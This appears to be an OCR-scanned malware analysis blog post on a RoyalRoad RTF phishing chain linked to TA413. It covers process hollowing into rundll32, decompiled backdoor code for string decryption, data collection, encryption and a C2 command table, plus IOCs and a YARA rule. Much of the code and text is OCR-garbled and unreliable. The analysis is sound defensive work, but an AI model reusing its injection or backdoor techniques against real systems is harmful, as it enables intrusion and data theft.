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SummaryPermalink

This attack chain begins with the victim receiving a malicious RTF file through a phishing attack. When the
victim opens the RTF file, it contains a hidden encoded file which is then decoded and executed using a shellcode.
The executed file then performs process hollowing, injecting itself into the rundll32.dll process and establishing a

connection with the attacker’s command and control (C2) server.
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Once connected to the C2 server, the infected machine begins sending data about itself to the attacker, who can

then use this information to send further modules and commands to the infected machine.

Technical analysisPermalink

During our analysis, we collected some important information about the document file in question. By utilizing
VirusTotal to scan the file’s hash, we were able to detect that the file is a RTF document that has been flagged by
34 different security solutions. Further analysis revealed that the RTF document exploits several known
vulnerabilities, including CVE-2017-11882, CVE-2017-8759, CVE-2018-0802, and CVE-2018-0798.
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Using the tool rtfobj, we were able to extract multiple objects from the RTF document. Upon examining these
objects, we identified an exploit code. exploit code equation drop encode payload on temp folder

Temp\ghb4nrwmp.wmf . After deconding dropped file, it executed to reliver second stage.

| format (Embedded )
|class : b'Equation.2

83f9ba5d3lafdafa

Further investigation revealed that the RTF document is related to the Royal Road.

Royal Road: It is known for its use of weaponized Microsoft Office documents to deliver payloads, including
ransomware and other malicious software. The documents often exploit vulnerabilities in software such as Adobe

Reader or Microsoft Office to execute the payload without the user’s knowledge.

RoyalRoad has been used in various campaigns targeting individuals and organizations around the world. It has

been observed being delivered through spam emails, exploit kits, and other methods. Once the payload is
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delivered and executed, it may perform various malicious actions such as encrypting files, stealing sensitive

information, and installing other malware.

During our analysis, we utilized the rr_decoder tool to decode the second stage payload of the RoyalRoad

malware, which was named “ghb4nrwmp.wmf”. The results of the decoding are shown in the figure below.
$python3 rr_decode.py sample_ghb4nrwmp.wmf second_stage.exe

e [!] Type [b2a66dff] is Detected!
e [+] Decoding...
e [!] Complete!

second stagePermalink

Upon decoding the second stage payload of the RoyalRoad malware, second stage is packed. so we identified that
it utilized the Virtual Alloc function multiple times to allocate a region of memory in which to copy shellcode.
Upon transferring execution to the shellcode, we observed the use of obfuscation techniques such as stack strings
to obscure the names of APIs. Further analysis revealed that the shellcode used the “LoadLibraryA” and
“GetProcAddress” functions to resolve and locate APIs necessary for injecting the third stage of the malware into

the “rundll.dll” process.

In order to understand the injection process used by the RoyalRoad, we analyzed the behavior of the payload and

identified the following steps:

e The malware utilizes the VirtualAlloc function to copy shellcode into a region of memory.

e The shellcode uses stack strings to obscure the commandline.

e The CreateProcA function is used to create a process in a suspended state (0x4) rundl132.d11 .

» A handle to the target process is obtained to allocate a region of memory on it using VirtualAllocEx .
e The third stage of the malware is copied into the target process using WriteProcessMemory °.

e The third stage is executed using the ResumeThread function.

From the previous steps, we can identif that second stage used process hollowing to inject third stage into

rundll.dll and excute it using this commandline
e (:\Windows\system32\rund1132.exe"shel132.d11,Control_RunDLL
thrid stagePermalink

The third stage of the malware is developed in C and functions as a backdoor to collect information about the
infected system and send it to the attacker. If the attacker determines that the infected system is of interest, they

may choose to drop the next stage of the malware.

mutexPermalink

Upon analysis of the malware, it was observed that the malware creates a mutex with the identifier “552FFA80-
3393-423d-8671-7BA046BB5906.” This mutex is also used as the malware’s campaign name, as shown in the
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following figure.

parsed_result = @;
decryption_result = @;
format_string = mw_malloc(6u);
ptr_mutex_attr = up_ptr _mutex_attr;
strepy (format_string, “"%s>%s");

destination_buffer = B8;
current_time_struct = mw_check_current_time();
source_buffer = @;

current_time = _timesd(8);
srand(current_time);
if ( mw_load_kernal3Z_d11l() )

if { !strlen{name_of_mutex) || (mm_re_CreateMutexA(®, 8, name_of_mutex), GetlastError() != 183) )
i

slesp_function = Sleep;

if ( dwMilliseconds )

Sleep{dwMilliseconds);

mi_decrypt_load_library({dword_l@e2elFC, en_advapi3l);// advapi3il.dll

strcpy(mutex_name, "1886");

library_handle = 8;

obfuscationPermalink

The malware is equipped with a capability to encrypt strings using a simple XOR algorithm. This function was
used by the malware to decrypt APIs into runtime in order to evade detection by static analysis tools. The malware
also loaded 4 libraries into runtime using this technique. It is worth noting that different keys were used to decrypt

the APIs and the libraries.

int _ cdec]l sw_decrypt_strings(int al, const char *encr_str)

{

unsigned int str_lemgth; f/ krogé 4

_BYTE *decrypted_string; f/ eax
unsigned int 1; // ecx @xrﬂ‘stu mw_decrypt_stri... O ot
_BYTE *decrypted_string_1; // edi —
const char *current_char; // esi Direction Type Address Te &
_BYTE “::t"'_nsr:’_"e:t.lt% I edx =5 Up p mw_re_WSAStartup_0+17 ca
;L:v;:"h:;u't’ /1 8l EEup »p mw_re_inet_ntoa_04+17 ca
_nuzsi Load kay; // [esp+@h] [ebp-18h] %UP P mw_re_gethostbyname+17  ca
Up p mw_re_socket+17 ca
Lo -:-.I.Ix.-l. = _mm_load_sil28(&key decrypt); .@ Up p mw_re_W5AGetLastError+17 ca
=ir_length = _5"-"'1‘3"‘:"'""’_“7’}5 ) = Up p mw_re_joctisocket+17 ca
:"f"érf'“ stedng = me malloc(str tength + 15 |53 s b mw_htons_api+17 ca
1= 3
decrypted string 1 = decrypted string; 52lUup p  mw_re_connect+17 ca v
if { str_length |= -1 ) < >
1 Line 20 of 42
current_char = (encr_str - decrypted_string)
?0 | o« | caxs Search Help
ptr_dec_result = Bdecrypted_string_1[i];
dec_result = 1 * decrypted_string_1[i + current_char] * Load_kay.ptr_key[i & @xF];
++i;
*ptr_dec_result = dec_result;

The keys used for decryption are as follows:
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Key for decrypting APIs : cffb9895f0dcddca9e8befc4aeeSb1bf (in hex)
Key for decrypting libraries: bf8a87e415cebb95aaf991b08ec486a4 (in hex)

After decrypting the APIs, the malware was able to utilize the GetProcAddress function to resolve the APIs and
load the libraries using LoadLibraryA. This allowed the malware to execute its desired functions at runtime and

we can include laoded libraries.

e ws2_32.dll
o ntdll.dll!
e advapi32.dil

we can see our script to decrypted encrypted strings.

def unhex(hex_string):
import binascii
if type(hex_string) == str:
return binascii.unhexlify(hex_string.encode('utf-8"'))
else:

return binascii.unhexlify(hex_string)

def tohex(data):
import binascii
if type(data) == str:
return binascii.hexlify(data.encode('utf-8"'))
else:
return binascii.hexlify(data)
out = []
data = unhex("c8f8b7b822f993f6ce9cIb")
key = unhex("bf8a87e415cebb95aaf991b08ec486a4")

for i in range(@, len(data)):
out.append(i ” data[i] » key[i & 15])

print(bytes(out))

collecting sensitive informationPermalink

function appears to be designed to gather and encode various system information. It does this by first decrypting
several strings using the mw_decrypt_strings function. These strings are likely API names or other relevant

information that is used later in the function.

The function then calls one of the decrypted functions (either GetNativeSystemInfo or GetSystemInfo) to retrieve
system information and stores it in an array called system_info. This information may include details such as the

system’s processor, memory, and operating system.
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The function then encodes this information, as well as the hostname and username, using the mw_base64_encode

function. The encoded strings are then concatenated into a single string.

collected information:

¢ Username
e Process name and Process ID
o JP Address
e Hostname
strepy(Fo ' = ptr_mutex_attr;

memset(Filename, @, 276); «_name = name_of_mutex;

ModuleFileNameA(@, Filename, @x185u); GetSysteml ."‘ = mw_decrypt_strings(dword_188281AC, enc_GetNativeSystemInfo);
= BiGd; // |GetNativeSystemInfo
e (= H

entProcessId —|mw re Getturr‘entProcessldh,

sprlntf s( e, @x1Bu, Format, CurrentProcessId);

strcat_s(Filename, @xlldu, ""');

strcat_s(-".'_r name, Bxlidu, Source; ystemInfo )

domair size = MultiByteToWideChar(®, @, Filename, -1, @, @); Ge Info = mw_decrypt_strings (dword_188281AC, enc_GetSystemInfo);//
domain_name = mw malloc(2 * domain_name_size + 2); b"’
memset{domain_name, @, 2 * domain_name_size + 2); GetSystemInfo(&SystemInfo);

Multi Ey eToWideChar(®, @, Filename, -1, domain_name, domain_name_size);| en = mv_basetd_encode(@x24u, BSystemInfo, &vd5);

A1 = mw_| conuer‘t _wide(domain_name}; = ptr_decrypt_strings_key;

/43 = @3
if ( !ptr_decrypt_strings_key )

e d‘ecrypt load | library(8ptr_decrypt_strings_key, enc_ntdll);// ntdl1l.d11
decrypt_s ngs_key = ptr_decrypt_strings_key;

}
RtlGetVersion = mw_decrypt_strings(decrypt_strings_key, enc_RtlGetVersion);
melnset(& ystem_info[l], @, @x11Bu);
L evetem inf [8] = 284;
strepy(vaz, if (R tVersion(system_info) >= @ )
4 = strlen( vdi = mw_basesd encode(ﬁxll(u system_info, &w45);
/35 = strlen(va3); 14 = @5
a = strlen(vad); estination = @

Evade DetectionPermalink

After gathering and encoding data, the malware appears to use the LZF compression algorithm to compress the
data further. It then applies an XOR operation with the value 0x2b to encrypt each element of the compressed data
before encoding it again using the base64 encoding method. This process may be used to reduce the size of the
data for easier transmission.

received_d = mw_collect Infomation();

_comp_enc_encode_received_data(received data, strlen(received data));
|a L e e H

= mv_nallocresult size # 2 * (rasult_size + 2048)):
= result_size;

; -
ar strlen(parsed Lo
cryf = mw_malloc( ?f (
memset(e lata, 8
sprintf duta, ¢ string, mutex_name, formet_buffer); . - L2F_fun( _ ENEIRIRE. (encoded_dats + 4
destir =8 "
data h = ;tr].en(-- pted_data); else
block = @3
if ( socket || (mw_process_socket_fun(&server_socket), (socket = server_socket) != @) )
{
if ( (lencrypted_data || wmw mdlﬁed data_send_socket(en t))
88 (mw_check_t data _available(&se socket), decode base(ﬂ{&._\.. ver_socket)
{
send_data = block;
;f(l-. k) essed_size, encoded ¢ &u10)
_buffer = mw_process_input_data(&decryption_result, parsed_result, block);

free(send_data);

Establish a connectionPermalink

Malware establish a connection with the server over a socket, so malware call htons to ensure that the data is

correctly interpreted by the receiving system then call
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e mw_create_listen: to create a socket that can listen for incoming connections.
o mw_send_socket_connection: to be used to send a socket connection request to a server.

e mw_establishing_connection_server: to be used to establish a connection with a server.

= EET thiscal ™ —--'1"'--|E'II-_ nnection serve |:"-_|--' t :]
{
SOCKET result; // ea
mw_htons_api(word 1881FF54);
if ( !mw_create listen(thiz)
|| 'mw_send socket connection{this, dword 1882861C)
[l ¢ It = mw_establishing connection_server()) == & )
i
sult = *thi i
anocther_flag = 8;
if ( 11t )
i
esult = mw_re_closesocket{result);
L] = a;

implemention of a simple HTTPPermalink

The malware appears to have implemented a simple HTTP client that can send HTTP requests to a server and

receive responses. The process begins by extracting the hostname and port number for the connection. A socket is

then created and a connection is established with the server.

The malware then constructs an HTTP request using the following format: “CONNECT %s:%d
HTTP/1.1\r\nProxy-Connection: Keep-Alive\r\nContent-Length: O\r\nHost: %s\r\nUser-Agent: %s\r\n”. The

request is then sent to the server and a response is received. It is not clear how the response is processed or what

the purpose of the request is.
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connection_attempts = B8;

host_string = _strdup{dword_l10e20630);

port = BB;

host_string_copy = host_st ;Wi;

if ( mw_len_str(host_string, &delimiter_location, 2, source_string) == 2 )
host_string = delimiter_location;
host_string_copy = delimiter_location;
port = mw_con_str_long({temp_string);

}

if { !mw_create listen({host_string, current_socket, port) )
goto LABEL_24,;

stropy(

ormat_buffer,

“COMNECT %s:%d HTTP/1.1\r\nProxy-Connection: Keep-Alive\r\nContent-Length: @\rinHost: %s\rinUser-Agent:
strepy(line_ending, ™\wr\n™});
server_hostname = mw_convert_wide(lpWideCharStr);

server_host_1 y = mw_re_gethostbyname(server_hostname);
if ( SErver_ infe j
server_1p ess = **garyer_host_info->h_addr_list;
else
server_ip_address = 83
server_ip_string = mW_re_inet_ntoa_@(server_ip_address);
ip string length = server_ip string:
free(se r_hostname
request ck = dword_l@8@1FFF4 + 1;
LJ':E'_:L;C - 5tr1en(;: ve _i:_:L iw;}
+ strlen{zerver_ip_string)
+« 21
+ strlen(Format_buffer)
+ strlen(dword_l1@@1FFF4);

Encryption data with AESPermalink

After establishing a connection with the server, the malware appears to be utilizing the AES algorithm to encrypt
data before sending it to the server. It uses a ransom key as the initial key for the encryption process and then

receives a key from the server to encrypt the data again
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BOOL _ usercall sw_w_sendDatalverSocket@<eax>(vold *Source@decxy, signed
{

int w5; /7 esi

BYTE *wb; ff eax

u_short v7; /75 ax

cha By JfF esi

int v9; // edi

void *wi1B; f/ ek

BOOL wll; f/ ==

char v13[248]; // [esp+18h] [ebp-18Ch] BYREF

_ ml2B1 vid4; ff [esp+18@ ebp-1C

int v1S; /f [esp+llen ebp-Ch]

void *Block; f/ [esp+114h] [ebp-8h]

= 16 ¥ {SourceSize S 1B + 1);

= 5}

5 = mw_malloc(vs + 5);

= 23

mw_htons_api{vs);

: Block + 5;

*(Block + 3) = v7;

memcpy_s(v8, SourcesSirze, Source, SourceSize);

memset{Block + SourceSize + 5, wlS - SourceSize, w15 - SourceSize);
mi_aes_enc_roundl{v13, xemword_leeilase);
} = _mm_loadu_sil28(xmmword 18821A48) ;

mwe_aes_enc_round2(vs, v13, v9);
11 = mw_send_data_over_connection(Elock, *a3, v9 + 5);
frea(vle);

c2 responsePermalink

malware appears to use a specific method for receiving encrypted data from the server and decrypting it. This data

is likely to be modules or commands that are used for specific tasks. The decryption process is reversing method

that was used to encrypt the data, which includes:

e LZF compression
» XORing with 0x2b
e Base64 encoding

e AES encryption with a randomly generated key

e AES encryption with a key derived from the XOR of the Client, Server Random Bytes Key

commandsPermalink

malware checkes the header of response with “PK” and receive also one commands or more and we can see the

commands in the next figure.

e Command 2000 : which used to decode using base64, decrypt, with 0x2b key and decompress uing LZF.
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= 8;
sutputLength = @3
decode_data = mw_decode_Basedd(inputlength, inputBuffer, &outputlength};
ptr_outputLength = outputlLength;
jecode data = de = data;
if [ outputLength » 1 )
i
= @;
do
ptr_decods_data[vi++] "= 8w2Bu;
while ( v7 < ptr_outputlength );
12 = *ptr_decode_data + 4896;
jecompressed_data = mw_malloc( ¥;
memset (decon ed_data, @, v12);
esult_=sire = *ptr_decode_dataj;
if ( *ptr_decode_data » @xléu )
{
esult 2 = mW_decompress_data_using_lzf{cutputlLength - 4, pt ecode_data + 4,
1
else
i
for [ = 8; € i gth; ++1i )
*( press £ + 1) = pt Jde [1+ 4];
}
if 11t_size > 8 )
i
} = mw_malloc(result_size + 1};
memepy_s(vl4, result_sirze, decompressed_data, result_size);
if { a3 )
*(y14 + result_size) = 8;
if ( ptr_result_size )
*ntr result size = result size

We can see a table of commands

No. command info

1 2000 which used to decode using base64, decrypt, with 0x2b key and decompress uing LZF
2 2001 clear the command of data

3 2002 set communication delay time

4 2003 exit command loop

5 2004 break connection

6 2005 load module from attaker into memory

7 2006 run module

8 default listen for proxy connection

Analysis InfrastructurePermalink

e It appears that the hostname “45.77.19.75.vultrusercontent.com” is associated with the domain
“VULTRUSERCONTENT.COM?” and is hosted by the cloud provider Vultr. The host is located in Japan,
specifically in the city of Oi. The organization responsible for the host is Vultr Holdings, LLC, and the ISP
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is The Constant Company, LLC. The ASN associated with the host is AS20473. It is important to note that

the presence of a host or domain on a cloud provider does not necessarily indicate malicious activity.

e The network and AS are likely used by the malware for communication with its command and control
(C2).

Classification and attributionPermalink

Attribution refers to the process of identifying the source of a cyber attack or threat. It is often difficult to
accurately attribute cyber attacks to a specific country, as attackers often use various tactics to hide their identity
and location. There are a number of factors that can be used to help attribute a cyber attack to a specific country,

including:

Victimology: This refers to the characteristics of the victims of the attack, such as the type of organization or
industry they belong to. If a group of attacks all target organizations in a specific country, it can be a strong

indication that the attacks are coming from that country.

Infrastructure: If a group of attacks all use the same infrastructure, such as a specific set of servers or domain

names, this can be used to help attribute the attacks to a specific country or group.

Tactics, Techniques, and Procedures (TTPs): The specific tactics and techniques used in an attack can often be

used to identify the group or country behind the attack.

Malware used: The type of malware used in an attack can often be used to attribute the attack to a specific group

or country.

A spreadsheet targeting a Tibetan organization was used and a domain, tibet[.]bet, was attributed to the TA413

group for the attack. ansd we can see that in the next figure.
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#RoyalRoad RTF (targeting Tibetan?)
virustotal.com/guifurl/f1ba0Z2c...

Q 2 1 3 Q1 ihi e

r Digital Monet
@aRtAGGI

Replying to @nao sec

na’? nao sec @nao sec - May 17, 2022
sec

#TA413 known sender impersonating "Department of

Religion & Culture"

tibet.net
Department of Religion & Culture
Department of Religion & Culture

In this particular case, TA413 are known to have impersonated the “Department of Religion & Culture.” This type

of social engineering tactic is often used to trick individuals into revealing sensitive information or downloading

malware.
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L
Eﬂ;_'zj Chinese State-Sponsored Group TA413 Adopts New Capabilities in Porsuit of Tibetan Targets

- B
== Chinese State-Sponsored Group TA413 Adopts New Capabilities in Pursnit of Tibetan Targets

ideas how to track activity of this tool:Permalink

e Setup a YARA rule to identify the RTF version of the Royal Road tool or any associated indicators of
compromise (IOCs). This can be done by analyzing the characteristics of the RTF file, such as specific

strings of code or patterns of behavior, and creating a rule that matches these characteristics.

e Use YARA to scan your network for any instances of the RTF version of the Royal Road tool or associated
IOCs. This can be done by running YARA on a schedule, such as daily or weekly, or in real-time as part of

a threat hunting process.

e When YARA detects a match, conduct further investigation to determine the scope and impact of the RTF
version of the Royal Road tool on your network. This may involve analyzing network traffic, examining

system logs, and performing forensic analysis on affected systems.

o Take appropriate remediation steps to remove the RTF version of the Royal Road tool from your network
and secure any affected systems. This may involve isolating infected systems, patching vulnerabilities, and

implementing additional security measures to prevent future attacks.

» Use threat intelligence sources to stay informed about the latest tactics and techniques used by APT groups,
including those that use the RTF version of the Royal Road tool. This can help you stay ahead of potential

threats and better defend your network.
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TTPsPermalink

Defense
Evasion

Privilege

Escalation

Process Injection Debugger Evasion

1

~ Process Injection

17y
s
1 .

Discovery

Data from Local
System

Application
Window Discavery

Debugger Evasion

=

System Binary
Proocy Execution
(13)

System
nformaticn
Discovery

-

RundLl32

Yara RulePermalink

rule lowzero_malware: lowzero

System Location
Discovery (1)

.

System
Owner/User
Discovery

hash = "de44e5f6cfac9cd3e61194efd5c2b20baddc437a520fe7018ed7f623e6618131"

$op = {8B C1 8D 14 39 83 E@ ?? 8A 44 @5 ?? 32 04 16 32 C1 41 88 02 3B (B}

{
meta:
description = "Detect_lowzero_malware"
author = "@malgamy12"
date = "2022/12/26"
license = "DRL 1.1"
strings:
$pdb = "Proxy-Authorization: NTLM " ascii
condition:
uint16(0) == @x5A4D and all of them
}
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I0OCsPermalink

Frist stagePermalink

e 9681ef910820d553e4cd54286£8893850a3a57a29df7114c6a6b0d89362{£326

second stagePermalink
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